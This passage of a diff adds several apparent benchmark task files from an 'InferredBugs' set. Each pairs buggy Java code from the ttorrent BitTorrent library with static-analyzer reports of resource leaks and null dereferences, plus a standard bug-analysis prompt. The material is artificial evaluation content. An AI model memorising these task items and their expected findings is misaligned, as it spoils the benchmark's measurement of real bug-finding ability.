+      info.put(FILE_LENGTH, new BEValue(sourceSize));
+    } else {
+      List<BEValue> files = getFilesList(hashingResult);
+      info.put(FILES, new BEValue(files));
+    }
+    torrent.put(INFO_TABLE, new BEValue(info));
+
+    return new BEValue(torrent);
+  }
+
+  private List<BEValue> getFilesList(HashingResult hashingResult) throws UnsupportedEncodingException {
+    ArrayList<BEValue> result = new ArrayList<BEValue>();
+    for (int i = 0; i < sources.size(); i++) {
+      Map<String, BEValue> file = new HashMap<String, BEValue>();
+      Long sourceSize = hashingResult.getSourceSizes().get(i);
+      Source source = sources.get(i);
+      List<BEValue> filePath = new ArrayList<BEValue>();
+      for (String path : source.getPath().replace("\\", "/").split("/")) {
+        filePath.add(new BEValue(path));
+      }
+      file.put(FILE_PATH, new BEValue(filePath));
+      file.put(FILE_LENGTH, new BEValue(sourceSize));
+      result.add(new BEValue(file));
+    }
+    return result;
+  }
+
+  private BEValue concatHashes(List<byte[]> hashes) throws UnsupportedEncodingException {
+    StringBuilder sb = new StringBuilder();
+    for (byte[] hash : hashes) {
+      sb.append(new String(hash, Constants.BYTE_ENCODING));
+    }
+    return new BEValue(sb.toString(), Constants.BYTE_ENCODING);
+  }
+
+  private List<DataSourceHolder> mapSources(List<Source> sources) {
+    List<DataSourceHolder> result = new ArrayList<DataSourceHolder>();
+    for (Source source : sources) {
+      result.add(source.getSourceHolder());
+    }
+    return result;
+  }
+
+  private BEValue wrapStringList(List<String> lst) throws UnsupportedEncodingException {
+    List<BEValue> result = new LinkedList<BEValue>();
+    for(String s : lst) {
+      result.add(new BEValue(s));
+    }
+    return new BEValue(result);
+  }
+
+  private BEValue wrapAnnounceList() throws UnsupportedEncodingException {
+    List<BEValue> result = new LinkedList<BEValue>();
+    for (List<String> tier : announceList) {
+      result.add(wrapStringList(tier));
+    }
+    return new BEValue(result);
+  }
+
+  private void dropEmptyTiersFromAnnounce() {
+    Iterator<List<String>> iterator = announceList.iterator();
+    while (iterator.hasNext()) {
+      List<String> tier = iterator.next();
+      if (tier.isEmpty()) {
+        iterator.remove();
+      }
+    }
+  }
+
+  private void closeAllSources() {
+    for (Source source : sources) {
+      DataSourceHolder sourceHolder = source.getSourceHolder();
+      try {
+        sourceHolder.close();
+      } catch (Throwable e) {
+        logger.error("Error in closing data source " + sourceHolder, e);
+      }
+    }
+  }
+
+  private void initFirstTier() {
+    if (announceList.isEmpty()) {
+      newTier();
+    }
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.turn.ttorrent.common.creation.Source$1` acquired by call to `Source(...)` at line 221 is not released after line 221.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+MetadataBuilder MetadataBuilder.addFile(File,String)
+
+### Procedure Id:
+com.turn.ttorrent.common.creation.MetadataBuilder.addFile(java.io.File,java.lang.String):com.turn.tt.f50b94daa9d89ff871c78408b99fc01b
+
+### File:
+common/src/main/java/com/turn/ttorrent/common/creation/MetadataBuilder.java
+
+### Key:
+MetadataBuilder.java|addFile|RESOURCE_LEAK
+
+### Node Key:
+f49a843e929ff6f77452d1cfa5f6143c
+
+### Hash:
+c89ae72449bcbcfb1dab34763cb8c062
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10014/instruction.md b/inferredbugs-10014/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d5ac33befcda2ee4f6a3884f443f85bd9a920530
--- /dev/null
+++ b/inferredbugs-10014/instruction.md
@@ -0,0 +1,358 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 34
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.turn.ttorrent.client.network;
+
+import com.turn.ttorrent.client.Client;
+import com.turn.ttorrent.client.peer.PeerActivityListener;
+import com.turn.ttorrent.common.*;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.*;
+import java.util.Set;
+import java.util.UUID;
+import java.util.concurrent.*;
+
+public class ConnectionManager implements Runnable {
+
+  private static final Logger logger = LoggerFactory.getLogger(ConnectionManager.class);
+
+  public static final int PORT_RANGE_START = 6881;
+  public static final int PORT_RANGE_END = 6889;
+
+  private final Selector selector;
+  private final InetAddress inetAddress;
+  private final PeersStorageProvider peersStorageProvider;
+  private final ChannelListenerFactory channelListenerFactory;
+  private ServerSocketChannel myServerSocketChannel;
+  private InetSocketAddress myBindAddress;
+  private final BlockingQueue<ConnectTask> myConnectQueue;
+  private final ExecutorService myExecutorService;
+  private Future<?> myWorkerFuture;
+
+  public ConnectionManager(InetAddress inetAddress,
+                           PeersStorageProvider peersStorageProvider,
+                           TorrentsStorageProvider torrentsStorageProvider,
+                           PeerActivityListener peerActivityListener) throws IOException {
+    this(inetAddress, peersStorageProvider, new ChannelListenerFactoryImpl(peersStorageProvider, torrentsStorageProvider, peerActivityListener));
+  }
+
+  public ConnectionManager(InetAddress inetAddress,
+                           PeersStorageProvider peersStorageProvider,
+                           ChannelListenerFactory channelListenerFactory) throws IOException {
+    this.myExecutorService = Executors.newSingleThreadExecutor();
+    this.selector = Selector.open();
+    this.inetAddress = inetAddress;
+    this.peersStorageProvider = peersStorageProvider;
+    this.channelListenerFactory = channelListenerFactory;
+    this.myConnectQueue = new LinkedBlockingQueue<ConnectTask>(100);
+  }
+
+  public void initAndRunWorker() throws IOException {
+    myServerSocketChannel = selector.provider().openServerSocketChannel();
+    myServerSocketChannel.configureBlocking(false);
+
+    for (int port = PORT_RANGE_START; port < PORT_RANGE_END; port++) {
+      try {
+        InetSocketAddress tryAddress = new InetSocketAddress(inetAddress, port);
+        myServerSocketChannel.socket().bind(tryAddress);
+        myServerSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
+        this.myBindAddress = tryAddress;
+        break;
+      } catch (IOException e) {
+        //try next port
+        logger.debug("Could not bind to port {}, trying next port...", port);
+      }
+    }
+    if (this.myBindAddress == null) {
+      throw new IOException("No available port for the BitTorrent client!");
+    }
+    final String id = Client.BITTORRENT_ID_PREFIX + UUID.randomUUID().toString().split("-")[4];
+    byte[] idBytes = id.getBytes(Torrent.BYTE_ENCODING);
+    Peer self = new Peer(this.myBindAddress, ByteBuffer.wrap(idBytes));
+    peersStorageProvider.getPeersStorage().setSelf(self);
+    myWorkerFuture = myExecutorService.submit(this);// TODO: 11/22/17 move runnable part to separate class e.g. ConnectionWorker
+    logger.info("BitTorrent client [{}] started and " +
+                    "listening at {}:{}...",
+            new Object[]{
+                    self.getShortHexPeerId(),
+                    self.getIp(),
+                    self.getPort()
+            });
+  }
+
+  public boolean connect(ConnectTask connectTask, int timeout, TimeUnit timeUnit) {
+    try {
+      if (myConnectQueue.offer(connectTask, timeout, timeUnit)) {
+        logger.debug("added connect task {}. Wake up selector", connectTask);
+        selector.wakeup();
+        return true;
+      }
+    } catch (InterruptedException e) {
+      logger.debug("connect task interrupted before address was added to queue");
+    }
+    logger.debug("connect task {} was not added", connectTask);
+    return false;
+  }
+
+  public InetSocketAddress getBindAddress() {
+    return myBindAddress;
+  }
+
+  @Override
+  public void run() {
+
+    try {
+      while (!Thread.currentThread().isInterrupted()) {
+        try {
+          logger.trace("try select keys from selector");
+          int selected;
+          try {
+            selected = selector.select();// TODO: 11/13/17 timeout
+          } catch (ClosedSelectorException e) {
+            break;
+          }
+          logger.trace("selected keys, try connect to peers from queue");
+          connectToPeersFromQueue();
+          logger.trace("select keys from selector. Keys count is " + selected);
+          if (selected == 0) {
+            continue;
+          }
+          processSelectedKeys();
+        } catch (Throwable e) {
+          LoggerUtils.warnAndDebugDetails(logger, "unable to select channel keys", e);
+        }
+      }
+    } catch (Throwable e) {
+      LoggerUtils.errorAndDebugDetails(logger, "exception on cycle iteration", e);
+    }
+  }
+
+  private void connectToPeersFromQueue() {
+    ConnectTask connectTask;
+    while ((connectTask = myConnectQueue.poll()) != null) {
+      if (Thread.currentThread().isInterrupted()) {
+        return;
+      }
+      logger.debug("try connect to peer. Connect task is {}", connectTask);
+      try {
+        SocketChannel socketChannel = SocketChannel.open();
+        socketChannel.configureBlocking(false);
+        socketChannel.register(selector, SelectionKey.OP_CONNECT, connectTask);
+        socketChannel.connect(new InetSocketAddress(connectTask.getHost(), connectTask.getPort()));
+      } catch (IOException e) {
+        logger.warn("unable connect. Connect task is {}", connectTask);
+        logger.debug("", e);
+      }
+    }
+  }
+
+  public void close(boolean await) {
+    logger.debug("try close connection manager...");
+    boolean successfullyClosed = true;
+    myWorkerFuture.cancel(true);
+    myExecutorService.shutdown();
+    if (await) {
+      try {
+        boolean shutdownCorrectly = myExecutorService.awaitTermination(1, TimeUnit.MINUTES);
+        if (!shutdownCorrectly) {
+          successfullyClosed = false;
+          logger.warn("unable to terminate executor service in specified timeout");
+        }
+      } catch (InterruptedException e) {
+        successfullyClosed = false;
+        LoggerUtils.warnAndDebugDetails(logger, "unable to await termination executor service, thread was interrupted", e);
+      }
+    }
+    try {
+      this.myServerSocketChannel.close();
+    } catch (Throwable e) {
+      LoggerUtils.errorAndDebugDetails(logger, "unable to close server socket channel", e);
+      successfullyClosed = false;
+    }
+    for (SelectionKey key : this.selector.keys()) {
+      try {
+        if (key.isValid()) {
+          key.channel().close();
+        }
+      } catch (Throwable e) {
+        logger.error("unable to close socket channel {}", key.channel());
+        successfullyClosed = false;
+        logger.debug("", e);
+      }
+    }
+    try {
+      this.selector.close();
+    } catch (Throwable e) {
+      LoggerUtils.errorAndDebugDetails(logger, "unable to close selector channel", e);
+      successfullyClosed = false;
+    }
+    if (successfullyClosed) {
+      logger.debug("connection manager is successfully closed");
+    } else {
+      logger.error("it was received some errors in stop process of connection manager and worker");
+    }
+  }
+
+  private void processSelectedKeys() {
+    Set<SelectionKey> selectionKeys = selector.selectedKeys();
+    for (SelectionKey key : selectionKeys) {
+      if (Thread.currentThread().isInterrupted()) {
+        return;
+      }
+      try {
+        processSelectedKey(key);
+      } catch (Exception e) {
+        LoggerUtils.warnAndDebugDetails(logger, "error in processing key. Close channel for this key...", e);
+        try {
+          key.channel().close();
+        } catch (IOException ioe) {
+          LoggerUtils.errorAndDebugDetails(logger, "unable close bad channel", ioe);
+        }
+      }
+    }
+    selectionKeys.clear();
+  }
+
+  private void processSelectedKey(SelectionKey key) throws IOException {
+    if (!key.isValid()) {
+      logger.info("Key for channel {} is invalid. Skipping", key.channel());
+      return;
+    }
+    if (key.isAcceptable()) {
+      SelectableChannel channel = key.channel();
+      if (!(channel instanceof ServerSocketChannel)) {
+        logger.error("incorrect instance of server channel. Can not accept connections");
+        channel.close();
+        return;
+      }
+      SocketChannel socketChannel = ((ServerSocketChannel) key.channel()).accept();
+      logger.trace("server {} get new connection from {}", new Object[]{myServerSocketChannel.getLocalAddress(), socketChannel.socket()});
+
+      ConnectionListener stateConnectionListener = channelListenerFactory.newChannelListener();
+      stateConnectionListener.onConnectionEstablished(socketChannel);
+      socketChannel.configureBlocking(false);
+      socketChannel.register(selector, SelectionKey.OP_READ, stateConnectionListener);
+    }
+    if (key.isConnectable()) {
+      SelectableChannel channel = key.channel();
+      if (!(channel instanceof SocketChannel)) {
+        logger.warn("incorrect instance of channel. Close connection with it");
+        channel.close();
+        return;
+      }
+      SocketChannel socketChannel = (SocketChannel) channel;
+      Object attachment = key.attachment();
+      if (!(attachment instanceof ConnectTask)) {
+        logger.warn("incorrect instance of attachment for channel {}", new Object[]{socketChannel.socket()});
+        socketChannel.close();
+        return;
+      }
+      boolean isConnectFinished = socketChannel.finishConnect();
+      if (!isConnectFinished) {
+        return;
+      }
+      socketChannel.configureBlocking(false);
+      ConnectionListener connectionListener = ((ConnectTask) attachment).getConnectionListener();
+      socketChannel.register(selector, SelectionKey.OP_READ, connectionListener);
+      connectionListener.onConnectionEstablished(socketChannel);
+    }
+
+    if (key.isReadable()) {
+      SelectableChannel channel = key.channel();
+      if (!(channel instanceof SocketChannel)) {
+        logger.warn("incorrect instance of channel. Close connection with it");
+        channel.close();
+        return;
+      }
+
+      SocketChannel socketChannel = (SocketChannel) channel;
+      logger.trace("server {} get new data from {}", new Object[]{myServerSocketChannel.getLocalAddress(), socketChannel.socket()});
+
+      Object attachment = key.attachment();
+      if (!(attachment instanceof ConnectionListener)) {
+        logger.warn("incorrect instance of attachment for channel {}", new Object[]{socketChannel.socket()});
+        socketChannel.close();
+        return;
+      }
+      ConnectionListener connectionListener = (ConnectionListener) attachment;
+      connectionListener.onNewDataAvailable(socketChannel);
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `self.hexPeerId` last assigned on line 74 could be null and is dereferenced by call to `getShortHexPeerId()` at line 80.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConnectionManager.initAndRunWorker()
+
+### Procedure Id:
+com.turn.ttorrent.client.network.ConnectionManager.initAndRunWorker():void.d9591cd362f3954bad763c75ded1f9d9
+
+### File:
+src/main/java/com/turn/ttorrent/client/network/ConnectionManager.java
+
+### Key:
+ConnectionManager.java|initAndRunWorker|NULL_DEREFERENCE
+
+### Node Key:
+fc056e790058fe1c1657dfed6b37dd8c
+
+### Hash:
+aa12dcc439176ec7e5f4f5815021d0ee
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10015/instruction.md b/inferredbugs-10015/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8af8b1b6ffcc3e3e4f1615a4bd2baa63d224d020
--- /dev/null
+++ b/inferredbugs-10015/instruction.md
@@ -0,0 +1,228 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 33
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.turn.ttorrent.client.network;
+
+import com.turn.ttorrent.common.PeersStorageProviderImpl;
+import com.turn.ttorrent.common.TorrentHash;
+import org.testng.annotations.BeforeMethod;
+import org.testng.annotations.Test;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.*;
+import java.nio.ByteBuffer;
+import java.nio.channels.SocketChannel;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.testng.Assert.*;
+
+public class ConnectionManagerTest {
+
+  private ConnectionManager myConnectionManager;
+  private ChannelListener channelListener;
+
+  @BeforeMethod
+  public void setUp() throws Exception {
+    ChannelListenerFactory channelListenerFactory = new ChannelListenerFactory() {
+      @Override
+      public ChannelListener newChannelListener() {
+        return channelListener;
+      }
+    };
+    myConnectionManager = new ConnectionManager(InetAddress.getByName("127.0.0.1"),
+            new PeersStorageProviderImpl(),
+            channelListenerFactory);
+  }
+
+  @Test
+  public void canAcceptAndReadData() throws IOException, InterruptedException {
+    final AtomicInteger acceptCount = new AtomicInteger();
+    final AtomicInteger readCount = new AtomicInteger();
+    final AtomicInteger connectCount = new AtomicInteger();
+    final AtomicInteger lastReadBytesCount = new AtomicInteger();
+    final ByteBuffer byteBuffer = ByteBuffer.allocate(10);
+
+    final Semaphore semaphore = new Semaphore(0);
+
+    this.channelListener = new ChannelListener() {
+      @Override
+      public void onNewDataAvailable(SocketChannel socketChannel) throws IOException {
+        readCount.incrementAndGet();
+        lastReadBytesCount.set(socketChannel.read(byteBuffer));
+        if (lastReadBytesCount.get() == -1) {
+          socketChannel.close();
+        }
+        semaphore.release();
+      }
+
+      @Override
+      public void onConnectionAccept(SocketChannel socketChannel) throws IOException {
+        acceptCount.incrementAndGet();
+        semaphore.release();
+      }
+
+      @Override
+      public void onConnected(SocketChannel socketChannel, ConnectTask connectTask) {
+        connectCount.incrementAndGet();
+        semaphore.release();
+      }
+    };
+
+    ExecutorService executorService = Executors.newSingleThreadExecutor();
+    Future<?> future = executorService.submit(myConnectionManager);
+
+    assertEquals(acceptCount.get(), 0);
+    assertEquals(readCount.get(), 0);
+    int serverPort = ConnectionManager.PORT_RANGE_START;
+    Socket socket = null;
+    while (serverPort < ConnectionManager.PORT_RANGE_END) {
+      try {
+        socket = new Socket("127.0.0.1", serverPort);
+        if (socket.isConnected()) break;
+      } catch (ConnectException ignored) {}
+      serverPort++;
+    }
+
+    if (socket == null || !socket.isConnected()) {
+      fail("can not connect to server channel of connection manager");
+    }
+
+    tryAcquireOrFail(semaphore);//wait until connection is accepted
+
+    assertTrue(socket.isConnected());
+    assertEquals(acceptCount.get(), 1);
+    assertEquals(readCount.get(), 0);
+
+    Socket socketSecond = new Socket("127.0.0.1", serverPort);
+
+    tryAcquireOrFail(semaphore);//wait until connection is accepted
+
+    assertTrue(socketSecond.isConnected());
+    assertEquals(acceptCount.get(), 2);
+    assertEquals(readCount.get(), 0);
+    socketSecond.close();
+    tryAcquireOrFail(semaphore);//wait read that connection is closed
+    assertEquals(readCount.get(), 1);
+    assertEquals(acceptCount.get(), 2);
+    assertEquals(lastReadBytesCount.get(), -1);
+    byteBuffer.rewind();
+    assertEquals(byteBuffer.get(), 0);
+    byteBuffer.rewind();
+    String writeStr = "abc";
+    OutputStream outputStream = socket.getOutputStream();
+    outputStream.write(writeStr.getBytes());
+    tryAcquireOrFail(semaphore);//wait until read bytes
+    assertEquals(readCount.get(), 2);
+    assertEquals(lastReadBytesCount.get(), 3);
+    byte[] expected = new byte[byteBuffer.capacity()];
+    System.arraycopy(writeStr.getBytes(), 0, expected, 0, writeStr.length());
+    assertEquals(byteBuffer.array(), expected);
+    outputStream.close();
+    socket.close();
+    tryAcquireOrFail(semaphore);//wait read that connection is closed
+    assertEquals(readCount.get(), 3);
+
+    int otherPeerPort = 7575;
+    ServerSocket ss = new ServerSocket(otherPeerPort);
+    assertEquals(connectCount.get(), 0);
+    myConnectionManager.connect(new ConnectTask("127.0.0.1", otherPeerPort, new TorrentHash() {
+      @Override
+      public byte[] getInfoHash() {
+        return new byte[0];
+      }
+
+      @Override
+      public String getHexInfoHash() {
+        return null;
+      }
+    }), 1, TimeUnit.SECONDS);
+    ss.accept();
+    tryAcquireOrFail(semaphore);
+    assertEquals(connectCount.get(), 1);
+
+    executorService.shutdownNow();
+    boolean executorShutdownCorrectly = executorService.awaitTermination(10, TimeUnit.SECONDS);
+    assertTrue(executorShutdownCorrectly);
+    executorService.shutdown();
+    executorService.awaitTermination(1, TimeUnit.MINUTES);
+  }
+
+  private void tryAcquireOrFail(Semaphore semaphore) throws InterruptedException {
+    if (!semaphore.tryAcquire(500, TimeUnit.MILLISECONDS)) {
+      fail("don't get signal from connection receiver that connection selected");
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.Socket` acquired by call to `new()` at line 79 is not released after line 79.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConnectionManagerTest.canAcceptAndReadData()
+
+### Procedure Id:
+com.turn.ttorrent.client.network.ConnectionManagerTest.canAcceptAndReadData():void.08706094a8a7c11f23b276f89eb2e68e
+
+### File:
+src/test/java/com/turn/ttorrent/client/network/ConnectionManagerTest.java
+
+### Key:
+ConnectionManagerTest.java|canAcceptAndReadData|RESOURCE_LEAK
+
+### Node Key:
+02b93d46dcdb7dc3af009704a3cf2552
+
+### Hash:
+a09fc098ed431edbf5113ab47aa8457a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10022/instruction.md b/inferredbugs-10022/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d2b6d2e96157d1d2353cabeedfd38f6c43c303fc
--- /dev/null
+++ b/inferredbugs-10022/instruction.md
@@ -0,0 +1,217 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.turn.ttorrent.client.network;
+
+import com.turn.ttorrent.common.PeersStorageProviderImpl;
+import com.turn.ttorrent.common.TorrentHash;
+import org.testng.annotations.BeforeMethod;
+import org.testng.annotations.Test;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetAddress;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.nio.ByteBuffer;
+import java.nio.channels.SocketChannel;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.testng.Assert.*;
+
+public class ConnectionManagerTest {
+
+  private ConnectionManager myConnectionManager;
+  private ChannelListener channelListener;
+
+  @BeforeMethod
+  public void setUp() throws Exception {
+    ChannelListenerFactory channelListenerFactory = new ChannelListenerFactory() {
+      @Override
+      public ChannelListener newChannelListener() {
+        return channelListener;
+      }
+    };
+    myConnectionManager = new ConnectionManager(InetAddress.getByName("127.0.0.1"),
+            new PeersStorageProviderImpl(),
+            channelListenerFactory);
+  }
+
+  @Test
+  public void canAcceptAndReadData() throws IOException, InterruptedException {
+    final AtomicInteger acceptCount = new AtomicInteger();
+    final AtomicInteger readCount = new AtomicInteger();
+    final AtomicInteger connectCount = new AtomicInteger();
+    final AtomicInteger lastReadBytesCount = new AtomicInteger();
+    final ByteBuffer byteBuffer = ByteBuffer.allocate(10);
+
+    final Semaphore semaphore = new Semaphore(0);
+
+    this.channelListener = new ChannelListener() {
+      @Override
+      public void onNewDataAvailable(SocketChannel socketChannel) throws IOException {
+        readCount.incrementAndGet();
+        lastReadBytesCount.set(socketChannel.read(byteBuffer));
+        if (lastReadBytesCount.get() == -1) {
+          socketChannel.close();
+        }
+        semaphore.release();
+      }
+
+      @Override
+      public void onConnectionAccept(SocketChannel socketChannel) throws IOException {
+        acceptCount.incrementAndGet();
+        semaphore.release();
+      }
+
+      @Override
+      public void onConnected(SocketChannel socketChannel, ConnectTask connectTask) {
+        connectCount.incrementAndGet();
+        semaphore.release();
+      }
+    };
+
+    ExecutorService executorService = Executors.newSingleThreadExecutor();
+    Future<?> future = executorService.submit(myConnectionManager);
+
+    assertEquals(acceptCount.get(), 0);
+    assertEquals(readCount.get(), 0);
+
+    Socket socket = new Socket("127.0.0.1", ConnectionManager.PORT_RANGE_START);
+
+    tryAcquireOrFail(semaphore);//wait until connection is accepted
+
+    assertTrue(socket.isConnected());
+    assertEquals(acceptCount.get(), 1);
+    assertEquals(readCount.get(), 0);
+
+    Socket socketSecond = new Socket("127.0.0.1", ConnectionManager.PORT_RANGE_START);
+
+    tryAcquireOrFail(semaphore);//wait until connection is accepted
+
+    assertTrue(socketSecond.isConnected());
+    assertEquals(acceptCount.get(), 2);
+    assertEquals(readCount.get(), 0);
+    socketSecond.close();
+    tryAcquireOrFail(semaphore);//wait read that connection is closed
+    assertEquals(readCount.get(), 1);
+    assertEquals(acceptCount.get(), 2);
+    assertEquals(lastReadBytesCount.get(), -1);
+    byteBuffer.rewind();
+    assertEquals(byteBuffer.get(), 0);
+    byteBuffer.rewind();
+    String writeStr = "abc";
+    OutputStream outputStream = socket.getOutputStream();
+    outputStream.write(writeStr.getBytes());
+    tryAcquireOrFail(semaphore);//wait until read bytes
+    assertEquals(readCount.get(), 2);
+    assertEquals(lastReadBytesCount.get(), 3);
+    byte[] expected = new byte[byteBuffer.capacity()];
+    System.arraycopy(writeStr.getBytes(), 0, expected, 0, writeStr.length());
+    assertEquals(byteBuffer.array(), expected);
+    outputStream.close();
+    socket.close();
+    tryAcquireOrFail(semaphore);//wait read that connection is closed
+    assertEquals(readCount.get(), 3);
+
+    int otherPeerPort = 7575;
+    ServerSocket ss = new ServerSocket(otherPeerPort);
+    assertEquals(connectCount.get(), 0);
+    myConnectionManager.connect(new ConnectTask("127.0.0.1", otherPeerPort, new TorrentHash() {
+      @Override
+      public byte[] getInfoHash() {
+        return new byte[0];
+      }
+
+      @Override
+      public String getHexInfoHash() {
+        return null;
+      }
+    }), 1, TimeUnit.SECONDS);
+    ss.accept();
+    tryAcquireOrFail(semaphore);
+    assertEquals(connectCount.get(), 1);
+
+    executorService.shutdownNow();
+    boolean executorShutdownCorrectly = executorService.awaitTermination(10, TimeUnit.SECONDS);
+    assertTrue(executorShutdownCorrectly);
+  }
+
+  private void tryAcquireOrFail(Semaphore semaphore) throws InterruptedException {
+    if (!semaphore.tryAcquire(500, TimeUnit.MILLISECONDS)) {
+      fail("don't get signal from connection receiver that connection selected");
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `outputStream` last assigned on line 102 could be null and is dereferenced at line 103.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConnectionManagerTest.canAcceptAndReadData()
+
+### Procedure Id:
+com.turn.ttorrent.client.network.ConnectionManagerTest.canAcceptAndReadData():void.08706094a8a7c11f23b276f89eb2e68e
+
+### File:
+src/test/java/com/turn/ttorrent/client/network/ConnectionManagerTest.java
+
+### Key:
+ConnectionManagerTest.java|canAcceptAndReadData|NULL_DEREFERENCE
+
+### Node Key:
+3d9dbc165fb452387d1633d99dfb2bb9
+
+### Hash:
+9081939663e77e85519c1af8403c080a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10023/instruction.md b/inferredbugs-10023/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ab6d4a0dcce41aedbeae4d8a61aac8cf7d9d42a3
--- /dev/null
+++ b/inferredbugs-10023/instruction.md
@@ -0,0 +1,255 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2011-2012 Turn, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.turn.ttorrent.client.storage;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+
+import org.apache.commons.io.FileUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * Single-file torrent byte data storage.
+ *
+ * <p>
+ * This implementation of TorrentByteStorageFile provides a torrent byte data
+ * storage relying on a single underlying file and uses a RandomAccessFile
+ * FileChannel to expose thread-safe read/write methods.
+ * </p>
+ *
+ * @author mpetazzoni
+ */
+public class FileStorage implements TorrentByteStorage {
+
+	private static final Logger logger =
+		LoggerFactory.getLogger(FileStorage.class);
+
+	private final File target;
+	private File partial;
+	private final long offset;
+	private final long size;
+
+	private RandomAccessFile raf;
+  private FileChannel channel;
+	private File current;
+
+  public FileStorage(File file, long offset, long size)
+		throws IOException {
+		this.target = file;
+		this.offset = offset;
+		this.size = size;
+
+	}
+
